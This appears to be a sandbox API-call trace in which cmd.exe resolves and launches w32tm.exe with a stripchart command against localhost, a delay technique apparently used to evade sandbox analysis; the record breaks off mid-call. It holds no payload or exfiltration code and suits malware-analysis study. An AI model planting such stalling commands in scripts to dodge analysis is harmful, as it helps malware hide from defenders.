[0133.023] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x4012) returned 0x1b70936b1a0 [0133.023] GetProcessHeap () returned 0x1b709360000 [0133.024] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936b1a0) returned 1 [0133.024] _wcsicmp (_String1="w32tm", _String2=")") returned 78 [0133.024] _wcsicmp (_String1="FOR", _String2="w32tm") returned -17 [0133.024] _wcsicmp (_String1="FOR/?", _String2="w32tm") returned -17 [0133.024] _wcsicmp (_String1="IF", _String2="w32tm") returned -14 [0133.024] _wcsicmp (_String1="IF/?", _String2="w32tm") returned -14 [0133.024] _wcsicmp (_String1="REM", _String2="w32tm") returned -5 [0133.024] _wcsicmp (_String1="REM/?", _String2="w32tm") returned -5 [0133.024] GetProcessHeap () returned 0x1b709360000 [0133.024] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xb0) returned 0x1b7093790d0 [0133.024] GetProcessHeap () returned 0x1b709360000 [0133.024] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x1c) returned 0x1b709367a00 [0133.026] GetProcessHeap () returned 0x1b709360000 [0133.026] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x94) returned 0x1b709379190 [0133.026] GetProcessHeap () returned 0x1b709360000 [0133.026] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x38) returned 0x1b709378e10 [0133.027] GetProcessHeap () returned 0x1b709360000 [0133.027] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x18) returned 0x1b7093772f0 [0133.028] _tell (_FileHandle=3) returned 88 [0133.028] _close (_FileHandle=3) returned 0 [0133.028] _wcsicmp (_String1="w32tm", _String2="DIR") returned 19 [0133.028] _wcsicmp (_String1="w32tm", _String2="ERASE") returned 18 [0133.028] _wcsicmp (_String1="w32tm", _String2="DEL") returned 19 [0133.028] _wcsicmp (_String1="w32tm", _String2="TYPE") returned 3 [0133.028] _wcsicmp (_String1="w32tm", _String2="COPY") returned 20 [0133.028] _wcsicmp (_String1="w32tm", _String2="CD") returned 20 [0133.028] _wcsicmp (_String1="w32tm", _String2="CHDIR") returned 20 [0133.028] _wcsicmp (_String1="w32tm", _String2="RENAME") returned 5 [0133.028] _wcsicmp (_String1="w32tm", _String2="REN") returned 5 [0133.028] _wcsicmp (_String1="w32tm", _String2="ECHO") returned 18 [0133.028] _wcsicmp (_String1="w32tm", _String2="SET") returned 4 [0133.028] _wcsicmp (_String1="w32tm", _String2="PAUSE") returned 7 [0133.029] _wcsicmp (_String1="w32tm", _String2="DATE") returned 19 [0133.029] _wcsicmp (_String1="w32tm", _String2="TIME") returned 3 [0133.029] _wcsicmp (_String1="w32tm", _String2="PROMPT") returned 7 [0133.029] _wcsicmp (_String1="w32tm", _String2="MD") returned 10 [0133.029] _wcsicmp (_String1="w32tm", _String2="MKDIR") returned 10 [0133.029] _wcsicmp (_String1="w32tm", _String2="RD") returned 5 [0133.029] _wcsicmp (_String1="w32tm", _String2="RMDIR") returned 5 [0133.029] _wcsicmp (_String1="w32tm", _String2="PATH") returned 7 [0133.029] _wcsicmp (_String1="w32tm", _String2="GOTO") returned 16 [0133.029] _wcsicmp (_String1="w32tm", _String2="SHIFT") returned 4 [0133.029] _wcsicmp (_String1="w32tm", _String2="CLS") returned 20 [0133.029] _wcsicmp (_String1="w32tm", _String2="CALL") returned 20 [0133.029] _wcsicmp (_String1="w32tm", _String2="VERIFY") returned 1 [0133.029] _wcsicmp (_String1="w32tm", _String2="VER") returned 1 [0133.029] _wcsicmp (_String1="w32tm", _String2="VOL") returned 1 [0133.029] _wcsicmp (_String1="w32tm", _String2="EXIT") returned 18 [0133.029] _wcsicmp (_String1="w32tm", _String2="SETLOCAL") returned 4 [0133.029] _wcsicmp (_String1="w32tm", _String2="ENDLOCAL") returned 18 [0133.029] _wcsicmp (_String1="w32tm", _String2="TITLE") returned 3 [0133.029] _wcsicmp (_String1="w32tm", _String2="START") returned 4 [0133.029] _wcsicmp (_String1="w32tm", _String2="DPATH") returned 19 [0133.029] _wcsicmp (_String1="w32tm", _String2="KEYS") returned 12 [0133.029] _wcsicmp (_String1="w32tm", _String2="MOVE") returned 10 [0133.029] _wcsicmp (_String1="w32tm", _String2="PUSHD") returned 7 [0133.029] _wcsicmp (_String1="w32tm", _String2="POPD") returned 7 [0133.029] _wcsicmp (_String1="w32tm", _String2="ASSOC") returned 22 [0133.029] _wcsicmp (_String1="w32tm", _String2="FTYPE") returned 17 [0133.030] _wcsicmp (_String1="w32tm", _String2="BREAK") returned 21 [0133.030] _wcsicmp (_String1="w32tm", _String2="COLOR") returned 20 [0133.030] _wcsicmp (_String1="w32tm", _String2="MKLINK") returned 10 [0133.030] _wcsnicmp (_String1="w32t", _String2="cmd ", _MaxCount=0x4) returned 20 [0133.030] GetProcessHeap () returned 0x1b709360000 [0133.030] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x420) returned 0x1b709379230 [0133.030] SetErrorMode (uMode=0x0) returned 0x0 [0133.030] SetErrorMode (uMode=0x1) returned 0x0 [0133.030] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1b709379240, lpFilePart=0xb5e00ff2e0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpFilePart=0xb5e00ff2e0*="Desktop") returned 0x1d [0133.030] SetErrorMode (uMode=0x0) returned 0x1 [0133.030] GetProcessHeap () returned 0x1b709360000 [0133.030] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709379230, Size=0x58) returned 0x1b709379230 [0133.030] GetProcessHeap () returned 0x1b709360000 [0133.030] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709379230) returned 0x58 [0133.030] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7428f96a0, nSize=0x2000 | out: lpBuffer="") returned 0x9c [0133.030] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0133.030] GetProcessHeap () returned 0x1b709360000 [0133.030] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x18a) returned 0x1b7093792a0 [0133.031] GetProcessHeap () returned 0x1b709360000 [0133.031] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x304) returned 0x1b709379440 [0133.034] GetProcessHeap () returned 0x1b709360000 [0133.034] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709379440, Size=0x18c) returned 0x1b709379440 [0133.034] GetProcessHeap () returned 0x1b709360000 [0133.034] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709379440) returned 0x18c [0133.034] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7428f96a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0133.034] GetProcessHeap () returned 0x1b709360000 [0133.034] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xe8) returned 0x1b7093795e0 [0133.034] GetProcessHeap () returned 0x1b709360000 [0133.034] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b7093795e0, Size=0x7e) returned 0x1b7093795e0 [0133.034] GetProcessHeap () returned 0x1b709360000 [0133.034] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b7093795e0) returned 0x7e [0133.034] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.034] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\w32tm.*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0xb5e00ff060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00ff060) returned 0xffffffffffffffff [0133.035] GetLastError () returned 0x2 [0133.035] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.035] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\w32tm.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0xb5e00ff060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00ff060) returned 0xffffffffffffffff [0133.035] GetLastError () returned 0x2 [0133.035] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.038] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.*" (normalized: "c:\\windows\\system32\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0xb5e00ff060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00ff060) returned 0x1b709377f70 [0133.039] GetProcessHeap () returned 0x1b709360000 [0133.039] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709366910, Size=0x8) returned 0x1b709366910 [0133.039] FindClose (in: hFindFile=0x1b709377f70 | out: hFindFile=0x1b709377f70) returned 1 [0133.039] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.COM" (normalized: "c:\\windows\\system32\\w32tm.com"), fInfoLevelId=0x1, lpFindFileData=0xb5e00ff060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00ff060) returned 0xffffffffffffffff [0133.039] GetLastError () returned 0x2 [0133.039] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.EXE" (normalized: "c:\\windows\\system32\\w32tm.exe"), fInfoLevelId=0x1, lpFindFileData=0xb5e00ff060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00ff060) returned 0x1b709377c70 [0133.039] FindClose (in: hFindFile=0x1b709377c70 | out: hFindFile=0x1b709377c70) returned 1 [0133.040] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0133.040] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0133.040] GetProcessHeap () returned 0x1b709360000 [0133.040] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x28) returned 0x1b709367af0 [0133.040] _get_osfhandle (_FileHandle=1) returned 0x24 [0133.040] _get_osfhandle (_FileHandle=1) returned 0x24 [0133.040] _get_osfhandle (_FileHandle=1) returned 0x24 [0133.040] GetFileType (hFile=0x24) returned 0x2 [0133.040] GetStdHandle (nStdHandle=0xfffffff5) returned 0x24 [0133.040] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0xb5e00ff288 | out: lpMode=0xb5e00ff288) returned 1 [0133.042] _dup (_FileHandle=1) returned 3 [0133.042] _close (_FileHandle=1) returned 0 [0133.042] _wcsicmp (_String1="nul", _String2="con") returned 11 [0133.042] CreateFileW (lpFileName="nul" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0xb5e00ff220, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x24 [0133.042] _open_osfhandle (_OSFileHandle=0x24, _Flags=8) returned 1 [0133.042] GetConsoleTitleW (in: lpConsoleTitle=0xb5e00ff2b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0133.044] _wcsicmp (_String1="w32tm", _String2="DIR") returned 19 [0133.044] _wcsicmp (_String1="w32tm", _String2="ERASE") returned 18 [0133.044] _wcsicmp (_String1="w32tm", _String2="DEL") returned 19 [0133.044] _wcsicmp (_String1="w32tm", _String2="TYPE") returned 3 [0133.044] _wcsicmp (_String1="w32tm", _String2="COPY") returned 20 [0133.044] _wcsicmp (_String1="w32tm", _String2="CD") returned 20 [0133.044] _wcsicmp (_String1="w32tm", _String2="CHDIR") returned 20 [0133.044] _wcsicmp (_String1="w32tm", _String2="RENAME") returned 5 [0133.044] _wcsicmp (_String1="w32tm", _String2="REN") returned 5 [0133.044] _wcsicmp (_String1="w32tm", _String2="ECHO") returned 18 [0133.044] _wcsicmp (_String1="w32tm", _String2="SET") returned 4 [0133.044] _wcsicmp (_String1="w32tm", _String2="PAUSE") returned 7 [0133.044] _wcsicmp (_String1="w32tm", _String2="DATE") returned 19 [0133.044] _wcsicmp (_String1="w32tm", _String2="TIME") returned 3 [0133.044] _wcsicmp (_String1="w32tm", _String2="PROMPT") returned 7 [0133.044] _wcsicmp (_String1="w32tm", _String2="MD") returned 10 [0133.044] _wcsicmp (_String1="w32tm", _String2="MKDIR") returned 10 [0133.044] _wcsicmp (_String1="w32tm", _String2="RD") returned 5 [0133.044] _wcsicmp (_String1="w32tm", _String2="RMDIR") returned 5 [0133.044] _wcsicmp (_String1="w32tm", _String2="PATH") returned 7 [0133.044] _wcsicmp (_String1="w32tm", _String2="GOTO") returned 16 [0133.044] _wcsicmp (_String1="w32tm", _String2="SHIFT") returned 4 [0133.044] _wcsicmp (_String1="w32tm", _String2="CLS") returned 20 [0133.044] _wcsicmp (_String1="w32tm", _String2="CALL") returned 20 [0133.044] _wcsicmp (_String1="w32tm", _String2="VERIFY") returned 1 [0133.045] _wcsicmp (_String1="w32tm", _String2="VER") returned 1 [0133.045] _wcsicmp (_String1="w32tm", _String2="VOL") returned 1 [0133.045] _wcsicmp (_String1="w32tm", _String2="EXIT") returned 18 [0133.045] _wcsicmp (_String1="w32tm", _String2="SETLOCAL") returned 4 [0133.045] _wcsicmp (_String1="w32tm", _String2="ENDLOCAL") returned 18 [0133.045] _wcsicmp (_String1="w32tm", _String2="TITLE") returned 3 [0133.045] _wcsicmp (_String1="w32tm", _String2="START") returned 4 [0133.045] _wcsicmp (_String1="w32tm", _String2="DPATH") returned 19 [0133.045] _wcsicmp (_String1="w32tm", _String2="KEYS") returned 12 [0133.045] _wcsicmp (_String1="w32tm", _String2="MOVE") returned 10 [0133.045] _wcsicmp (_String1="w32tm", _String2="PUSHD") returned 7 [0133.045] _wcsicmp (_String1="w32tm", _String2="POPD") returned 7 [0133.045] _wcsicmp (_String1="w32tm", _String2="ASSOC") returned 22 [0133.045] _wcsicmp (_String1="w32tm", _String2="FTYPE") returned 17 [0133.045] _wcsicmp (_String1="w32tm", _String2="BREAK") returned 21 [0133.045] _wcsicmp (_String1="w32tm", _String2="COLOR") returned 20 [0133.045] _wcsicmp (_String1="w32tm", _String2="MKLINK") returned 10 [0133.045] _wcsicmp (_String1="w32tm", _String2="DIR") returned 19 [0133.045] _wcsicmp (_String1="w32tm", _String2="ERASE") returned 18 [0133.045] _wcsicmp (_String1="w32tm", _String2="DEL") returned 19 [0133.045] _wcsicmp (_String1="w32tm", _String2="TYPE") returned 3 [0133.045] _wcsicmp (_String1="w32tm", _String2="COPY") returned 20 [0133.045] _wcsicmp (_String1="w32tm", _String2="CD") returned 20 [0133.045] _wcsicmp (_String1="w32tm", _String2="CHDIR") returned 20 [0133.045] _wcsicmp (_String1="w32tm", _String2="RENAME") returned 5 [0133.045] _wcsicmp (_String1="w32tm", _String2="REN") returned 5 [0133.045] _wcsicmp (_String1="w32tm", _String2="ECHO") returned 18 [0133.046] _wcsicmp (_String1="w32tm", _String2="SET") returned 4 [0133.046] _wcsicmp (_String1="w32tm", _String2="PAUSE") returned 7 [0133.046] _wcsicmp (_String1="w32tm", _String2="DATE") returned 19 [0133.046] _wcsicmp (_String1="w32tm", _String2="TIME") returned 3 [0133.046] _wcsicmp (_String1="w32tm", _String2="PROMPT") returned 7 [0133.046] _wcsicmp (_String1="w32tm", _String2="MD") returned 10 [0133.046] _wcsicmp (_String1="w32tm", _String2="MKDIR") returned 10 [0133.046] _wcsicmp (_String1="w32tm", _String2="RD") returned 5 [0133.046] _wcsicmp (_String1="w32tm", _String2="RMDIR") returned 5 [0133.046] _wcsicmp (_String1="w32tm", _String2="PATH") returned 7 [0133.046] _wcsicmp (_String1="w32tm", _String2="GOTO") returned 16 [0133.046] _wcsicmp (_String1="w32tm", _String2="SHIFT") returned 4 [0133.046] _wcsicmp (_String1="w32tm", _String2="CLS") returned 20 [0133.046] _wcsicmp (_String1="w32tm", _String2="CALL") returned 20 [0133.046] _wcsicmp (_String1="w32tm", _String2="VERIFY") returned 1 [0133.046] _wcsicmp (_String1="w32tm", _String2="VER") returned 1 [0133.046] _wcsicmp (_String1="w32tm", _String2="VOL") returned 1 [0133.046] _wcsicmp (_String1="w32tm", _String2="EXIT") returned 18 [0133.046] _wcsicmp (_String1="w32tm", _String2="SETLOCAL") returned 4 [0133.046] _wcsicmp (_String1="w32tm", _String2="ENDLOCAL") returned 18 [0133.046] _wcsicmp (_String1="w32tm", _String2="TITLE") returned 3 [0133.046] _wcsicmp (_String1="w32tm", _String2="START") returned 4 [0133.046] _wcsicmp (_String1="w32tm", _String2="DPATH") returned 19 [0133.046] _wcsicmp (_String1="w32tm", _String2="KEYS") returned 12 [0133.046] _wcsicmp (_String1="w32tm", _String2="MOVE") returned 10 [0133.046] _wcsicmp (_String1="w32tm", _String2="PUSHD") returned 7 [0133.046] _wcsicmp (_String1="w32tm", _String2="POPD") returned 7 [0133.047] _wcsicmp (_String1="w32tm", _String2="ASSOC") returned 22 [0133.047] _wcsicmp (_String1="w32tm", _String2="FTYPE") returned 17 [0133.047] _wcsicmp (_String1="w32tm", _String2="BREAK") returned 21 [0133.047] _wcsicmp (_String1="w32tm", _String2="COLOR") returned 20 [0133.047] _wcsicmp (_String1="w32tm", _String2="MKLINK") returned 10 [0133.047] _wcsicmp (_String1="w32tm", _String2="FOR") returned 17 [0133.047] _wcsicmp (_String1="w32tm", _String2="IF") returned 14 [0133.047] _wcsicmp (_String1="w32tm", _String2="REM") returned 5 [0133.047] GetProcessHeap () returned 0x1b709360000 [0133.047] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x218) returned 0x1b709379670 [0133.047] GetProcessHeap () returned 0x1b709360000 [0133.047] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xa0) returned 0x1b709379890 [0133.047] _wcsnicmp (_String1="w32t", _String2="cmd ", _MaxCount=0x4) returned 20 [0133.047] GetProcessHeap () returned 0x1b709360000 [0133.047] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x420) returned 0x1b709379940 [0133.047] SetErrorMode (uMode=0x0) returned 0x0 [0133.047] SetErrorMode (uMode=0x1) returned 0x0 [0133.047] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1b709379950, lpFilePart=0xb5e00feb50 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpFilePart=0xb5e00feb50*="Desktop") returned 0x1d [0133.047] SetErrorMode (uMode=0x0) returned 0x1 [0133.047] GetProcessHeap () returned 0x1b709360000 [0133.047] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709379940, Size=0x58) returned 0x1b709379940 [0133.047] GetProcessHeap () returned 0x1b709360000 [0133.047] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709379940) returned 0x58 [0133.048] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7428f96a0, nSize=0x2000 | out: lpBuffer="") returned 0x9c [0133.048] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0133.048] GetProcessHeap () returned 0x1b709360000 [0133.048] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x18a) returned 0x1b7093799b0 [0133.048] GetProcessHeap () returned 0x1b709360000 [0133.048] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x304) returned 0x1b709379b50 [0133.048] GetProcessHeap () returned 0x1b709360000 [0133.048] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709379b50, Size=0x18c) returned 0x1b709379b50 [0133.048] GetProcessHeap () returned 0x1b709360000 [0133.048] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709379b50) returned 0x18c [0133.048] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7428f96a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0133.048] GetProcessHeap () returned 0x1b709360000 [0133.048] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xe8) returned 0x1b709379cf0 [0133.048] GetProcessHeap () returned 0x1b709360000 [0133.048] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709379cf0, Size=0x7e) returned 0x1b709379cf0 [0133.048] GetProcessHeap () returned 0x1b709360000 [0133.048] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709379cf0) returned 0x7e [0133.048] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.048] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\w32tm.*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0xb5e00fe8d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00fe8d0) returned 0xffffffffffffffff [0133.049] GetLastError () returned 0x2 [0133.049] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.049] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\w32tm.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0xb5e00fe8d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00fe8d0) returned 0xffffffffffffffff [0133.049] GetLastError () returned 0x2 [0133.049] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.049] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.*" (normalized: "c:\\windows\\system32\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0xb5e00fe8d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00fe8d0) returned 0x1b7093778b0 [0133.049] FindClose (in: hFindFile=0x1b7093778b0 | out: hFindFile=0x1b7093778b0) returned 1 [0133.049] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.COM" (normalized: "c:\\windows\\system32\\w32tm.com"), fInfoLevelId=0x1, lpFindFileData=0xb5e00fe8d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00fe8d0) returned 0xffffffffffffffff [0133.050] GetLastError () returned 0x2 [0133.050] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.EXE" (normalized: "c:\\windows\\system32\\w32tm.exe"), fInfoLevelId=0x1, lpFindFileData=0xb5e00fe8d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00fe8d0) returned 0x1b709377d90 [0133.050] FindClose (in: hFindFile=0x1b709377d90 | out: hFindFile=0x1b709377d90) returned 1 [0133.050] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0133.050] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0133.050] GetConsoleTitleW (in: lpConsoleTitle=0xb5e00fee30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0133.052] InitializeProcThreadAttributeList (in: lpAttributeList=0xb5e00fed50, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xb5e00fec50 | out: lpAttributeList=0xb5e00fed50, lpSize=0xb5e00fec50) returned 1 [0133.052] UpdateProcThreadAttribute (in: lpAttributeList=0xb5e00fed50, dwFlags=0x0, Attribute=0x60001, lpValue=0xb5e00fec3c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xb5e00fed50, lpPreviousValue=0x0) returned 1 [0133.052] GetStartupInfoW (in: lpStartupInfo=0xb5e00fece0 | out: lpStartupInfo=0xb5e00fece0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0133.052] GetProcessHeap () returned 0x1b709360000 [0133.052] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x20) returned 0x1b709367c40 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0133.052] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0133.053] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0133.053] GetProcessHeap () returned 0x1b709360000 [0133.054] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709367c40) returned 1 [0133.054] GetProcessHeap () returned 0x1b709360000 [0133.054] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x12) returned 0x1b709377330 [0133.054] lstrcmpW (lpString1="\\w32tm.exe", lpString2="\\XCOPY.EXE") returned -1 [0133.057] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\w32tm.exe", lpCommandLine="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpStartupInfo=0xb5e00fec70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, 